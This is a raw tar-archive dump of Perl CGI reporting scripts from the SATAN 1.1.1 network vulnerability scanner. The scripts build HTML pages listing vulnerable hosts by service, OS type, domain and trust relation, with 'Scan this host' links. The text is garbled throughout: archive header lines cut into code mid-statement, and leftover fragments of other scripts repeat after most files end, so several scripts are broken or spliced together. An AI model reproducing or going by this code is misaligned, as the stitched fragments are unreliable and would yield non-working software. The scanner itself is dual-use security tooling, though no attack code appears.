  8927. .................................................................................................................................................................................................................................................................
  8928. ...........#
  8929. # Report services and host counts.
  8930. #
  8931. print CLIENT <<EOF;
  8932. <HTML>
  8933. <HEAD>
  8934. <title> Host Tables - by Class of Service </title>
  8935. <LINK REV="made" HREF="mailto:satan\@fish.com">
  8936. </HEAD>
  8937. <BODY>
  8938. <H1><IMG SRC=$HTML_ROOT/images/satan.gif> Host Tables - by Class of Service </H1>
  8939. <hr>
  8940. EOF
  8941.  
  8942. &make_service_info() ;
  8943.  
  8944. if (sizeof(*servers) > 0) {
  8945.     print CLIENT "<p> <h3> Number of server systems (vulnerable/total) </h3> <ul>\n";
  8946.     for (sort keys %servers) {
  8947. .# Mask possible blanks or slashes in service names.
  8948. .($_service = $_) =~ tr / \//?!/;
  8949. .$_dot = $server_severities{$_} ? "reddot" : "blackdot";
  8950. .$_alt = $server_severities{$_} ? "*" : "-";
  8951. .if ($server_counts{$_} > 0) {
  8952. .    print CLIENT <<EOF;
  8953. .    <dt><IMG SRC=$HTML_ROOT/dots/$_dot.gif ALT="$_alt"> 
  8954. .    <a href="satan_info_servers.pl,$_service,"> $_</a>
  8955. .    ($server_severities{$_}/$server_counts{$_}) 
  8956. EOF
  8957. #.} else {
  8958. #.    print CLIENT <<EOF;
  8959. #.    <dt><IMG SRC=$HTML_ROOT/dots/blackdot.gif ALT="-"> $_
  8960. #EOF
  8961. .}
  8962.     }
  8963.     print CLIENT "</ul>\n";
  8964. }
  8965.  
  8966. if (sizeof(*clients) > 0) {
  8967.     print CLIENT "<p> <h3> Number of client systems (vulnerable/total) </h3> <ul>\n";
  8968.     for (sort keys %clients) {
  8969. .# Mask possible blanks or slashes in service names.
  8970. .($_service = $_) =~ tr / \//?!/;
  8971. .$_dot = $client_severities{$_} ? "reddot" : "blackdot";
  8972. .$_alt = $client_severities{$_} ? "*" : "-";
  8973. .if ($client_counts{$_} > 0) {
  8974. .    print CLIENT <<EOF;
  8975. .    <dt><IMG SRC=$HTML_ROOT/dots/$_dot.gif ALT="$_alt"> 
  8976. .    <a href="satan_info_clients.pl,$_service,"> $_</a>
  8977. .    ($client_severities{$_}/$client_counts{$_})
  8978. EOF
  8979. #.} else {
  8980. #.    print CLIENT <<EOF;
  8981. #.    <dt><IMG SRC=$HTML_ROOT/dots/blackdot.gif ALT="-"> $_
  8982. #EOF
  8983. .}
  8984.     }
  8985.     print CLIENT "</ul>\n";
  8986. }
  8987.  
  8988. if (sizeof(*servers) > 0 || sizeof(*clients) > 0) {
  8989.     print CLIENT <<EOF;
  8990. .<strong>Note: hosts may appear in multiple categories. </strong>
  8991. .<HL>
  8992. .<strong>Service types with a red dot next to them have a vulnerable host contained within</strong>
  8993. EOF
  8994. } else {
  8995.     print CLIENT <<EOF;
  8996. .No service information found.
  8997. EOF
  8998. }
  8999.  
  9000. print CLIENT <<EOF
  9001. <hr> <a href=$HTML_STARTPAGE> Back to the SATAN start page </a> |
  9002. <a href=analysis.pl> Back to SATAN Reporting and Analysis </a>
  9003. </BODY>
  9004. </HTML>
  9005. EOF
  9006. groups and their respective host members.
  9007. #
  9008.  
  9009. $_sort_sub = "sort_alpha" if $_sort_sub eq "";
  9010.  
  9011. for $_group (sort $_sort_toc keys %_sort_group) {
  9012. .if ($_sort_title) {
  9013. ..print CLIENT <<EOF;
  9014. ..<h3>
  9015. ..<a name="$_group">
  9016. ..$_sort_title: 
  9017. EOF
  9018. ..if ($_not_linked{$_group}) {
  9019. ...print CLIENT <<EOF;
  9020. ...$_group.
  9021. EOF
  9022. ..} else {
  9023. ...($_GROUP = $_group) =~ tr / \//?!/;
  9024. ...print CLIsatan-1.1.1/html/reporting/satan_info_host.pl.......................................................   600 .   465 .   506 .       6170  5737240670  14377. .........................................................................................
  9025. .................................................................................................................................................................................................................................................................
  9026. ..........#
  9027. # Show information about a specific host.
  9028. #
  9029. ($_host) = split(/,/, $html_script_args);
  9030. ($_type = $hosttype{$_host}) =~ tr / \//?!/;
  9031.  
  9032. print CLIENT <<EOF;
  9033. <HTML>
  9034. <HEAD>
  9035. <title> Results - $_host </title>
  9036. <LINK REV="made" HREF="mailto:satan\@fish.com">
  9037. </HEAD>
  9038. <BODY>
  9039. <H1><IMG SRC=$HTML_ROOT/images/satan.gif> Results - $_host </H1>
  9040. <hr>
  9041. <h3>General host information:</h3>
  9042. <ul>
  9043. EOF
  9044.  
  9045. #
  9046. # Refresh the host type and service tables.
  9047. #
  9048. &make_hosttype_info();
  9049. &make_service_info();
  9050. &make_subnet_info();
  9051.  
  9052. $_exists = 0;
  9053.  
  9054. if (exists($hosttype{$_host})) {
  9055. .print CLIENT <<EOF;
  9056. .<li>Host type: <A HREF="satan_info_OStype.pl,$_type,">$hosttype{$_host}</A>
  9057. EOF
  9058. .$_exists = 1;
  9059. }
  9060.  
  9061. if (exists($server_info{$_host})) {
  9062. .for (sort split(/\n/, $server_info{$_host})) {
  9063. ..# Mask blanks and slashes
  9064. ..($_service = $_) =~ tr / \//?!/;
  9065. ..print CLIENT <<EOF;
  9066. ..<li> <A HREF="satan_info_servers.pl,$_service,"> $_ </A> server
  9067. EOF
  9068. .}
  9069. .$_exists = 1;
  9070. }
  9071.  
  9072. if (exists($client_info{$_host})) {
  9073. .for (sort split(/\n/, $client_info{$_host})) {
  9074. ..# Mask blanks and slashes
  9075. ..($_service = $_) =~ tr / \//?!/;
  9076. ..print CLIENT <<EOF;
  9077. ..<li> <A HREF="satan_info_clients.pl,$_service,"> $_ </A> client
  9078. EOF
  9079. .}
  9080. .$_exists = 1;
  9081. }
  9082.  
  9083. if (exists($all_hosts{$_host})) {
  9084. .($_subnet = $all_hosts{$_host}{IP}) =~ s/\.[^.]*$//;
  9085. .print CLIENT <<EOF;
  9086. .<li> Subnet <A HREF="satan_results_subnet.pl,$_subnet,"> $_subnet </A>
  9087. EOF
  9088. .$_exists = 1;
  9089. }
  9090.  
  9091. if (exists($total_trustee_count{$_host})) {
  9092. .$_count = split(/\s+/, $total_trustee_names{$_host});
  9093. .print CLIENT <<EOF;
  9094. .<li> $_count
  9095. .<A HREF="satan_results_trusting.pl,$_host,trustee_type,"> Trusting host(s) </a>
  9096. EOF
  9097. .$_exists = 1;
  9098. }
  9099.  
  9100. if (exists($total_trusted_count{$_host})) {
  9101. .$_count = split(/\s+/, $total_trusted_names{$_host});
  9102. .print CLIENT <<EOF;
  9103. .<li> $_count
  9104. .<A HREF="satan_results_trusted.pl,$_host,trusted_type,"> Trusted host(s) </a>
  9105. EOF
  9106. .$_exists = 1;
  9107. }
  9108.  
  9109. if (exists($all_hosts{$_host}) && defined($all_hosts{$_host}{'attack'})) {
  9110. .@_level = ('none', 'light', 'normal', 'heavy', 'all out');
  9111. .print CLIENT <<EOF;
  9112. .<li> Scanning level: @_level[1 + $all_hosts{$_host}{'attack'}]
  9113. EOF
  9114. .$_exists = 1;
  9115. }
  9116.  
  9117. if (exists($all_hosts{$_host}) && defined($all_hosts{$_host}{'time'})
  9118. .&& $all_hosts{$_host}{'time'} > 1) {
  9119. .$_time = &ctime($all_hosts{$_host}{'time'});
  9120. .print CLIENT <<EOF;
  9121. .<li> Last scan: $_time
  9122. EOF
  9123. .$_exists = 1;
  9124. }
  9125.  
  9126.  
  9127. print CLIENT "</ul>\n";
  9128.  
  9129. if (exists($severity_host_type_info{$_host})) {
  9130. .print CLIENT "<h3>Vulnerability information:</h3><ul>\n";
  9131. .for (keys %{$severity_host_type_info{$_host}}) {
  9132. ..($_tutorials = $_) =~ tr / /_/;
  9133. ..for (sort split(/\n/, $severity_host_type_info{$_host}{$_})) {
  9134. ...&satan_split($_);
  9135. ...print CLIENT <<EOF;
  9136. .<li> <A HREF="$HTML_ROOT/tutorials/vulnerability/$_tutorials.html">$text</A>
  9137. EOF
  9138. ..}
  9139. .}
  9140. .$_exists = 1;
  9141. }
  9142. print CLIENT <<EOF;
  9143. </ul>
  9144. EOF
  9145.  
  9146. if ($_exists) {
  9147. .print CLIENT <<EOF;
  9148. .<h3>Actions:</h3>
  9149. .<ul>
  9150. .<li> <A HREF="$HTML_SERVER/running/satan_run_form.pl,$_host,">Scan this host</a>
  9151. .</ul>
  9152. EOF
  9153. } else {
  9154. .print CLIENT <<EOF;
  9155. .<h3>No information found on host $_host.</h3>
  9156. EOF
  9157. }
  9158.  
  9159. print CLIENT <<EOF;
  9160. <hr> <a href=$HTML_STARTPAGE> Back to the SATAN start page </a> |
  9161. <a href=analysis.pl> Back to SATAN Reporting and Analysis </a>
  9162. </BODY>
  9163. </HTML>
  9164. EOF
  9165. </a>
  9166. </BODY>
  9167. </HTML>
  9168. EOF
  9169. groups and their respective host members.
  9170. #
  9171.  
  9172. $_sort_sub = "sort_alpha" if $_sort_sub eq "";
  9173.  
  9174. for $_group (sort $_sort_toc keys %_sort_group) {
  9175. .if ($_sort_title) {
  9176. ..print CLIENT <<EOF;
  9177. ..<h3>
  9178. ..<a name="$_group">
  9179. ..$_sort_title: 
  9180. EOF
  9181. ..if ($_not_linked{$_group}) {
  9182. ...print CLIENT <<EOF;
  9183. ...$_group.
  9184. EOF
  9185. ..} else {
  9186. ...($_GROUP = $_group) =~ tr / \//?!/;
  9187. ...print CLIsatan-1.1.1/html/reporting/satan_info_OStype.pl.....................................................   600 .   465 .   506 .       2211  5737240633  14634. .........................................................................................
  9188. .................................................................................................................................................................................................................................................................
  9189. ..........#
  9190. # List all hosts that run a specific operating system version.
  9191. #
  9192.  
  9193. &make_hosttype_info();
  9194.  
  9195. ($_TYPE, $_sort_order) = split(/,/, $html_script_args);
  9196. ($_type = $_TYPE) =~ tr/?!/ \//;
  9197.  
  9198. print CLIENT <<EOF;
  9199. <HTML>
  9200. <HEAD>
  9201. <title> Host Table - $_type Systems </title>
  9202. <LINK REV="made" HREF="mailto:satan\@fish.com">
  9203. </HEAD>
  9204. <BODY>
  9205. <H1><IMG SRC=$HTML_ROOT/images/satan.gif> Host Table - $_type Systems </H1>
  9206. <hr>
  9207.  
  9208. <h3> 
  9209. $systype_severities{$_type} Vulnerable/$systype_counts{$_type} total.
  9210. Vulnerability counts in parentheses.
  9211. </h3>
  9212.  
  9213. <H4> Sort hosts by:
  9214. <a href="satan_info_OStype.pl,$_TYPE,name,">name</a> |
  9215. <a href="satan_info_OStype.pl,$_TYPE,domain,">domain</a> |
  9216. <a href="satan_info_OStype.pl,$_TYPE,subnet,">subnet</a> |
  9217. <a href="satan_info_OStype.pl,$_TYPE,severity,">problem count</a> |
  9218. <a href="satan_info_OStype.pl,$_TYPE,severity_type,">problem type</a>
  9219. </H4>
  9220.  
  9221. </FORM>
  9222. EOF
  9223.  
  9224. @_hosts = split(/\n/, $hosts_by_systype{$_type});
  9225. do "$html_root/reporting/sort_hosts.pl";
  9226. print CLIENT $@ if $@;
  9227.  
  9228. print CLIENT <<EOF;
  9229. <hr> <a href=$HTML_STARTPAGE> Back to the SATAN start page </a> |
  9230. <a href=analysis.pl> Back to SATAN Reporting and Analysis </a>
  9231. </BODY>
  9232. </HTML>
  9233. EOF
  9234. $_tutorials.html">$text</A>
  9235. EOF
  9236. ..}
  9237. .}
  9238. .$_exists = 1;
  9239. }
  9240. print CLIENT <<EOF;
  9241. </ul>
  9242. EOF
  9243.  
  9244. if ($_exists) {
  9245. .print CLIENT <<EOF;
  9246. .<h3>Actions:</h3>
  9247. .<ul>
  9248. .<li> <A HREF="$HTML_SERVER/running/satan_run_form.pl,$_host,">Scan this host</a>
  9249. .</ul>
  9250. EOF
  9251. } else {
  9252. .print CLIENT <<EOF;
  9253. .<h3>No information found on host $_host.</h3>
  9254. EOF
  9255. }
  9256.  
  9257. print CLIENT <<EOF;
  9258. <hr> <a href=$HTML_STARTPAGE>satan-1.1.1/html/reporting/satan_info_clients.pl....................................................   600 .   465 .   506 .       2267  5737240652  15066. ........................................................................
  9259. .................................................................................................................................................................................................................................................................
  9260. ...........................#
  9261. # List hosts that use a specific service.
  9262. #
  9263. ($_SERVICE, $_sort_order) = split(/,/, $html_script_args);
  9264. ($_service = $_SERVICE) =~ tr/?!/ \//;
  9265.  
  9266. print CLIENT <<EOF;
  9267. <HTML>
  9268. <HEAD>
  9269. <title> Host Table - $_service Clients</title>
  9270. <LINK REV="made" HREF="mailto:satan\@fish.com">
  9271. </HEAD>
  9272. <BODY>
  9273. <H1><IMG SRC=$HTML_ROOT/images/satan.gif> Host Table - $_service Clients</H1>
  9274. <hr>
  9275.  
  9276. <h3> 
  9277. $client_severities{$_service} Vulnerable/$client_counts{$_service} total.
  9278. Vulnerability counts in parentheses.
  9279. </h3>
  9280.  
  9281. <H4> Sort hosts by:
  9282. <a href="satan_info_clients.pl,$_SERVICE,name,">name</a> |
  9283. <a href="satan_info_clients.pl,$_SERVICE,domain,">domain</a> |
  9284. <a href="satan_info_clients.pl,$_SERVICE,type,">system type</a> |
  9285. <a href="satan_info_clients.pl,$_SERVICE,subnet,">subnet</a> |
  9286. <a href="satan_info_clients.pl,$_SERVICE,severity,">problem count</a> |
  9287. <a href="satan_info_clients.pl,$_SERVICE,severity_type,">problem type</a>
  9288. </H4>
  9289.  
  9290. </FORM>
  9291. EOF
  9292.  
  9293. @_hosts = keys %{$clients{$_service}};
  9294. do "$html_root/reporting/sort_hosts.pl";
  9295. print CLIENT $@ if $@;
  9296.  
  9297. print CLIENT <<EOF;
  9298. <hr> <a href=$HTML_STARTPAGE> Back to the SATAN start page </a> |
  9299. <a href=analysis.pl> Back to SATAN Reporting and Analysis </a>
  9300. </BODY>
  9301. </HTML>
  9302. EOF
  9303. ts = 1;
  9304. }
  9305. print CLIENT <<EOF;
  9306. </ul>
  9307. EOF
  9308.  
  9309. if ($_exists) {
  9310. .print CLIENT <<EOF;
  9311. .<h3>Actions:</h3>
  9312. .<ul>
  9313. .<li> <A HREF="$HTML_SERVER/running/satan_run_form.pl,$_host,">Scan this host</a>
  9314. .</ul>
  9315. EOF
  9316. } else {
  9317. .print CLIENT <<EOF;
  9318. .<h3>No information found on host $_host.</h3>
  9319. EOF
  9320. }
  9321.  
  9322. print CLIENT <<EOF;
  9323. <hr> <a href=$HTML_STARTPAGE>satan-1.1.1/html/reporting/satan_info_host_action.pl................................................   600 .   465 .   506 .       1637  5737241154  15735. ........................................................................
  9324. .................................................................................................................................................................................................................................................................
  9325. ...........................#
  9326. # Translate HMTL arg list form.
  9327. #
  9328. if ($_query_host eq "") {
  9329.     print CLIENT <<EOF;
  9330. <HTML>
  9331. <HEAD>
  9332. <title>Error - No Host </title>
  9333. <LINK REV="made" HREF="mailto:satan\@fish.com">
  9334. </HEAD>
  9335. <BODY>
  9336. <H1><IMG SRC=$HTML_ROOT/images/satan.gif> Error - No Host </H1>
  9337. <hr>
  9338. <h2>Error: no host name specified. Try again.</h2>
  9339. EOF
  9340. } else {
  9341.     $_query_host =~ tr /A-Z/a-z/;
  9342.     $_query_host = &getfqdn($_query_host) if (&getfqdn($_query_host));
  9343.     if (defined($all_hosts{$_query_host})) {
  9344. .$html_script_args = $_query_host;
  9345. .do "$html_root/reporting/satan_info_host.pl";
  9346. .print CLIENT $@ if $@;
  9347.     } else {
  9348. .print CLIENT <<EOF;
  9349. <HTML>
  9350. <HEAD>
  9351. <title>Error - Unknown Host </title>
  9352. <LINK REV="made" HREF="mailto:satan\@fish.com">
  9353. </HEAD>
  9354. <BODY>
  9355. <H1><IMG SRC=$HTML_ROOT/images/satan.gif> Error - Unknown Host </H1>
  9356. <hr>
  9357. <h2>Error: unknown host name specified: $_query_host. Try again.</h2>
  9358. EOF
  9359.     }
  9360. }
  9361. print CLIENT <<EOF
  9362. </BODY>
  9363. </HTML>
  9364. EOF
  9365. >
  9366. EOF
  9367.  
  9368. @_hosts = keys %{$clients{$_service}};
  9369. do "$html_root/reporting/sort_hosts.pl";
  9370. print CLIEsatan-1.1.1/html/reporting/satan_results_domain.pl..................................................   600 .   465 .   506 .       2113  5737240744  15432. ...........................................................................................
  9371. .................................................................................................................................................................................................................................................................
  9372. ........#
  9373. # List all hosts in an internet domain
  9374. #
  9375. ($_domain, $_sort_order) = split(/,/, $html_script_args);
  9376.  
  9377. print CLIENT <<EOF;
  9378. <HTML>
  9379. <HEAD>
  9380. <title> Host Table - Domain $_domain</title>
  9381. <LINK REV="made" HREF="mailto:satan\@fish.com">
  9382. </HEAD>
  9383. <BODY>
  9384. <H1><IMG SRC=$HTML_ROOT/images/satan.gif> Host Table - Domain $_domain</h1>
  9385. <hr>
  9386.  
  9387. <h3> 
  9388. $domain_severities{$_domain} Vulnerable/$domain_count{$_domain} total.
  9389. Vulnerability counts in parentheses.
  9390. </h3>
  9391.  
  9392. <H4> Sort hosts by:
  9393. <A HREF="satan_results_domain.pl,$_domain,name,">name</a> |
  9394. <A HREF="satan_results_domain.pl,$_domain,type,">system type</a> |
  9395. <A HREF="satan_results_domain.pl,$_domain,subnet,">subnet</a> |
  9396. <A HREF="satan_results_domain.pl,$_domain,severity,">problem count</a> |
  9397. <A HREF="satan_results_domain.pl,$_domain,severity_type,">problem type</a>
  9398. </H4>
  9399. EOF
  9400.  
  9401. @_hosts = split(/\s+/, $all_domains{$_domain});
  9402. do "$html_root/reporting/sort_hosts.pl";
  9403. print CLIENT $@ if $@;
  9404.  
  9405. print CLIENT <<EOF;
  9406. <hr> <a href=$HTML_STARTPAGE> Back to the SATAN start page </a> |
  9407. <a href=analysis.pl> Back to SATAN Reporting and Analysis </a>
  9408. </BODY>
  9409. </HTML>
  9410. EOF
  9411.  SATAN start page </a> |
  9412. <a href=analysis.pl> Back to SATAN Reporting and Analysis </a>
  9413. </BODY>
  9414. </HTML>
  9415. EOF
  9416. ts = 1;
  9417. }
  9418. print CLIENT <<EOF;
  9419. </ul>
  9420. EOF
  9421.  
  9422. if ($_exists) {
  9423. .print CLIENT <<EOF;
  9424. .<h3>Actions:</h3>
  9425. .<ul>
  9426. .<li> <A HREF="$HTML_SERVER/running/satan_run_form.pl,$_host,">Scan this host</a>
  9427. .</ul>
  9428. EOF
  9429. } else {
  9430. .print CLIENT <<EOF;
  9431. .<h3>No information found on host $_host.</h3>
  9432. EOF
  9433. }
  9434.  
  9435. print CLIENT <<EOF;
  9436. <hr> <a href=$HTML_STARTPAGE>satan-1.1.1/html/reporting/satan_info_trusted.pl....................................................   600 .   465 .   506 .       1761  5737240722  15113. ........................................................................
  9437. .................................................................................................................................................................................................................................................................
  9438. ...........................#
  9439. # Report which hosts are trusted how many times
  9440. #
  9441. sub sort_numerically {
  9442. .$total_trustee_count{$b} <=> $total_trustee_count{$a};
  9443. }
  9444.  
  9445. print CLIENT <<EOF;
  9446. <HTML>
  9447. <HEAD>
  9448. <title> Trust - Trusted Hosts</title>
  9449. <LINK REV="made" HREF="mailto:satan\@fish.com">
  9450. </HEAD>
  9451. <BODY>
  9452. <H1><IMG SRC=$HTML_ROOT/images/satan.gif> Trust - Trusted Hosts</H1>
  9453. <hr>
  9454. <h3>Trusted hosts (by number of trusting hosts).</h3>
  9455. <ul>
  9456. EOF
  9457.  
  9458. &make_severity_info();
  9459.  
  9460. for (sort sort_numerically keys %total_trustee_count) {
  9461. .$_dot = exists($severity_host_type_info{$_}) ? "reddot" : "blackdot";
  9462. .$_alt = exists($severity_host_type_info{$_}) ? "*" : "-";
  9463. .print CLIENT <<EOF;
  9464. .<dt><IMG SRC=$HTML_ROOT/dots/$_dot.gif ALT="$_alt"> 
  9465. .<A HREF="satan_info_host.pl,$_,">$_</A> -
  9466. .<A HREF="satan_results_trusting.pl,$_,trustee_type,"> $total_trustee_count{$_} host(s)</A>
  9467. EOF
  9468. }
  9469.  
  9470. print CLIENT <<EOF;
  9471. </ul>
  9472. <hr> <a href=$HTML_STARTPAGE> Back to the SATAN start page </a> |
  9473. <a href=analysis.pl> Back to SATAN Reporting and Analysis </a>
  9474. </BODY>
  9475. </HTML>
  9476. EOF
  9477. </a> |
  9478. <a href=satan-1.1.1/html/reporting/satan_results_trusted.pl.................................................   600 .   465 .   506 .       2277  5737240757  15674. .............................................................................................
  9479. .................................................................................................................................................................................................................................................................
  9480. ......#
  9481. # List hosts that this host trusts
  9482. #
  9483. ($_TRUSTEE, $_sort_order) = split(/,/, $html_script_args);
  9484. ($_trustee = $_TRUSTEE) =~ tr/?!/ \//;
  9485.  
  9486. print CLIENT <<EOF;
  9487. <HTML>
  9488. <HEAD>
  9489. <title> Trust - $_trustee</title>
  9490. <LINK REV="made" HREF="mailto:satan\@fish.com">
  9491. </HEAD>
  9492. <BODY>
  9493. <H1><IMG SRC=$HTML_ROOT/images/satan.gif> Trust - $_trustee</h1>
  9494. <hr>
  9495.  
  9496. <h3>Hosts trusted by $_trustee (vulnerability counts). </h3>
  9497.  
  9498. <H4> Sort hosts by:
  9499. <a href="satan_results_trusted.pl,$_TRUSTEE,name,">name</a> |
  9500. <a href="satan_results_trusted.pl,$_TRUSTEE,domain,">domain</a> |
  9501. <a href="satan_results_trusted.pl,$_TRUSTEE,type,">system type</a> |
  9502. <a href="satan_results_trusted.pl,$_TRUSTEE,subnet,">subnet</a> |
  9503. <a href="satan_results_trusted.pl,$_TRUSTEE,severity,">problem count</a> |
  9504. <a href="satan_results_trusted.pl,$_TRUSTEE,severity_type,">problem type</a> |
  9505. <a href="satan_results_trusted.pl,$_TRUSTEE,trusted_type,">trust type</a>
  9506. </H4>
  9507. EOF
  9508.  
  9509. @_hosts = split(/\s+/, $total_trusted_names{$_trustee});
  9510. do "$html_root/reporting/sort_hosts.pl";
  9511. print CLIENT $@ if $@;
  9512.  
  9513. print CLIENT <<EOF;
  9514. <hr> <a href=$HTML_STARTPAGE> Back to the SATAN start page </a> |
  9515. <a href=analysis.pl> Back to SATAN Reporting and Analysis </a>
  9516. </BODY>
  9517. </HTML>
  9518. EOF
  9519. atan_info_host.pl,$_,">$_</A> -
  9520. .<A HREF="satan_results_trusting.pl,$_,trustee_type,"> $total_trustee_count{$_} host(s)</A>
  9521. EOF
  9522. }
  9523.  
  9524. print CLIENT <<EOF;
  9525. </ul>
  9526. <hr> <a href=$HTML_STARTPAGE> Back to the SATAN start page </a> |
  9527. <a href=analysis.pl> Back to SATAN Reporting and Analysis </a>
  9528. </BODY>
  9529. </HTML>
  9530. EOF
  9531. </a> |
  9532. <a href=satan-1.1.1/html/reporting/satan_results_trusting.pl................................................   600 .   465 .   506 .       2325  5737240764  16051. .............................................................................................
  9533. .................................................................................................................................................................................................................................................................
  9534. ......#
  9535. # List hosts that trust this host by trust relation
  9536. #
  9537. ($_TRUSTED, $_sort_order) = split(/,/, $html_script_args);
  9538. ($_trusted = $_TRUSTED) =~ tr/?!/ \//;
  9539.  
  9540. print CLIENT <<EOF;
  9541. <HTML>
  9542. <HEAD>
  9543. <title> Trust - $_trusted</title>
  9544. <LINK REV="made" HREF="mailto:satan\@fish.com">
  9545. </HEAD>
  9546. <BODY>
  9547. <H1><IMG SRC=$HTML_ROOT/images/satan.gif> Trust - $_trusted</h1>
  9548. <hr>
  9549.  
  9550. <h3>Hosts trusting $_trusted (vulnerability counts). </h3>
  9551.  
  9552. <H4> Sort hosts by:
  9553. <a href="satan_results_trusting.pl,$_TRUSTED,name,">name</a> |
  9554. <a href="satan_results_trusting.pl,$_TRUSTED,domain,">domain</a> |
  9555. <a href="satan_results_trusting.pl,$_TRUSTED,type,">system type</a> |
  9556. <a href="satan_results_trusting.pl,$_TRUSTED,subnet,">subnet</a> |
  9557. <a href="satan_results_trusting.pl,$_TRUSTED,severity,">problem count</a> |
  9558. <a href="satan_results_trusting.pl,$_TRUSTED,severity_type,">problem type</a> |
  9559. <a href="satan_results_trusting.pl,$_TRUSTED,trustee_type,">trust type</a>
  9560. </H4>
  9561. EOF
  9562.  
  9563. @_hosts = split(/\s+/, $total_trustee_names{$_trusted});
  9564. do "$html_root/reporting/sort_hosts.pl";
  9565. print CLIENT $@ if $@;
  9566.  
  9567. print CLIENT <<EOF;
  9568. <hr> <a href=$HTML_STARTPAGE> Back to the SATAN start page </a> |
  9569. <a href=analysis.pl> Back to SATAN Reporting and Analysis </a>
  9570. </BODY>
  9571. </HTML>
  9572. EOF
  9573. </ul>
  9574. EOF
  9575.  
  9576. if ($_exists) {
  9577. .print CLIENT <<EOF;
  9578. .<h3>Actions:</h3>
  9579. .<ul>
  9580. .<li> <A HREF="$HTML_SERVER/running/satan_run_form.pl,$_host,">Scan this host</a>
  9581. .</ul>
  9582. EOF
  9583. } else {
  9584. .print CLIENT <<EOF;
  9585. .<h3>No information found on host $_host.</h3>
  9586. EOF
  9587. }
  9588.  
  9589. print CLIENT <<EOF;
  9590. <hr> <a href=$HTML_STARTPAGE>satan-1.1.1/html/satan.pl...........................................................................   600 .   465 .   506 .       3164  5742422414  10310. ........................................................................
  9591. .................................................................................................................................................................................................................................................................
  9592. ...........................print <<EOF
  9593. <HTML>
  9594. <HEAD>
  9595. <title>SATAN</title>
  9596. <LINK REV="made" HREF="mailto:satan\@fish.com">
  9597. </HEAD>
  9598. <BODY>
  9599.  
  9600. <H1>
  9601. <a href="images/satan-full.gif">
  9602. <IMG SRC="images/satan.gif"></a> SATAN Control Panel</H1>
  9603.  
  9604. <H2>(Security Administrator Tool for Analyzing Networks)</H2>
  9605. <HR>
  9606. <UL>
  9607. <dt><IMG SRC="dots/blackdot.gif" ALT="*">
  9608. .<A HREF="$HTML_SERVER/data/satan_data_form.pl"><strong> SATAN Data Management</strong></A>
  9609. <p>
  9610. <dt><IMG SRC="dots/blackdot.gif" ALT="*">
  9611. .<A HREF="$HTML_SERVER/running/satan_run_form.pl"><STRONG> SATAN Target selection</STRONG></A>
  9612. <p>
  9613. <dt><IMG SRC="dots/blackdot.gif" ALT="*">
  9614. .<A HREF="$HTML_SERVER/reporting/analysis.pl"><STRONG> SATAN Reporting & Data Analysis</STRONG></A>
  9615. <p>
  9616. <dt><IMG SRC="dots/blackdot.gif" ALT="*">
  9617. .<A HREF="$HTML_SERVER/admin/satan_cf_form.pl"><strong> SATAN Configuration Management</strong></A>
  9618. <p>
  9619. <dt><IMG SRC="dots/blackdot.gif" ALT="*">
  9620. .<A HREF="satan_documentation.html"><strong> SATAN Documentation</strong></A>
  9621. <p>
  9622. <dt><IMG SRC="dots/blackdot.gif" ALT="*">
  9623. .<A HREF="docs/FAQ.html#trouble"><strong> SATAN Troubleshooting</strong></A>
  9624. </UL>
  9625. <HR>
  9626. <UL>
  9627. <p>
  9628. <dt><IMG SRC="dots/reddot.gif" ALT="*">
  9629. .<A HREF=ftp://ftp.win.tue.nl/pub/security/index.html><strong> Getting the Latest version of SATAN</strong></A>
  9630. <dt><IMG SRC="dots/pinkdot.gif" ALT="*">
  9631. .<A HREF=name.html><strong> Couldn't you call it something other than "SATAN"?</strong></A>
  9632. <dt><IMG SRC="dots/blackdot.gif" ALT="*">
  9633. .<A HREF=docs/artwork.html><strong> 'Bout the SATAN image</strong></A>
  9634. <dt><IMG SRC="dots/purpledot.gif" ALT="*">
  9635. .<A HREF=docs/authors.html><strong> 'Bout the authors</strong></A>
  9636. <p>
  9637. </UL>
  9638. </BODY>
  9639. </HTML>
  9640. EOF
  9641. t page </a> |
  9642. <a href=analysis.pl> Back to SATAN Reporting and Analysis </a>
  9643. </BODY>
  9644. </HTML>
  9645. EOF
  9646. </ul>
  9647. EOF
  9648.  
  9649. if ($_exists) {
  9650. .print CLIENT <<EOF;
  9651. .<h3>Actions:</h3>
  9652. .<ul>
  9653. .<li> <A HREF="$HTML_SERVER/running/satan_run_form.pl,$_host,">Scan this host</a>
  9654. .</ul>
  9655. EOF
  9656. } else {
  9657. .print CLIENT <<EOF;
  9658. .<h3>No information found on host $_host.</h3>
  9659. EOF
  9660. }
  9661.  
  9662. print CLIENT <<EOF;
  9663. <hr> <a href=$HTML_STARTPAGE>satan-1.1.1/html/running/...........................................................................   700 .   465 .   506 .          0  5742521544  10236. ........................................................................
  9664. .................................................................................................................................................................................................................................................................
  9665. ...........................satan-1.1.1/html/running/satan_run_action.pl........................................................   600 .   465 .   506 .       3350  5737241340  14207. ..........................................................................
  9666. .................................................................................................................................................................................................................................................................
  9667. .........................#
  9668. # Collect data and keep the user informed.
  9669. #
  9670.  
  9671. #
  9672. # Make sure they specified a host at all.
  9673. #
  9674. if ($primary_target eq "") {
  9675. .print CLIENT <<EOF
  9676. <HTML>
  9677. <HEAD>
  9678. <TITLE>Error - Missing input </TITLE>
  9679. <LINK REV="made" HREF="mailto:satan\@fish.com">
  9680. </HEAD>
  9681. <BODY>
  9682. <H1><IMG SRC=$HTML_ROOT/images/satan.gif> Error - Missing input </H1>
  9683. <hr>
  9684. No primary host or network was specified.
  9685. </BODY>
  9686. </HTML>
  9687. EOF
  9688. ;
  9689. .die "\n";
  9690. }
  9691.  
  9692. #
  9693. # If a host name was specified look up the official name.
  9694. #
  9695. if ($primary_target !~ /^\d+\./) {
  9696. .$tmp_target = &getfqdn(&get_host_name(&get_host_addr($primary_target)));
  9697. .if ($tmp_target eq "") {
  9698. ..print CLIENT <<EOF
  9699. <HTML>
  9700. <HEAD>
  9701. <TITLE>Error - Unknown host</TITLE>
  9702. <LINK REV="made" HREF="mailto:satan\@fish.com">
  9703. </HEAD>
  9704. <BODY>
  9705. <H1><IMG SRC=$HTML_ROOT/images/satan.gif> Error - Unknown host</H1>
  9706. <hr>
  9707. Unable to look up host <TT> $primary_target </TT>
  9708. </BODY>
  9709. </HTML>
  9710. EOF
  9711. ;.
  9712. ..die "\n";
  9713. .}
  9714. .$primary_target = $tmp_target;
  9715. }
  9716.  
  9717. #
  9718. # Primary target is OK, start data collection.
  9719. #
  9720. print CLIENT <<EOF
  9721. <HTML>
  9722. <HEAD>
  9723. <TITLE>SATAN data collection </TITLE>
  9724. <LINK REV="made" HREF="mailto:satan\@fish.com">
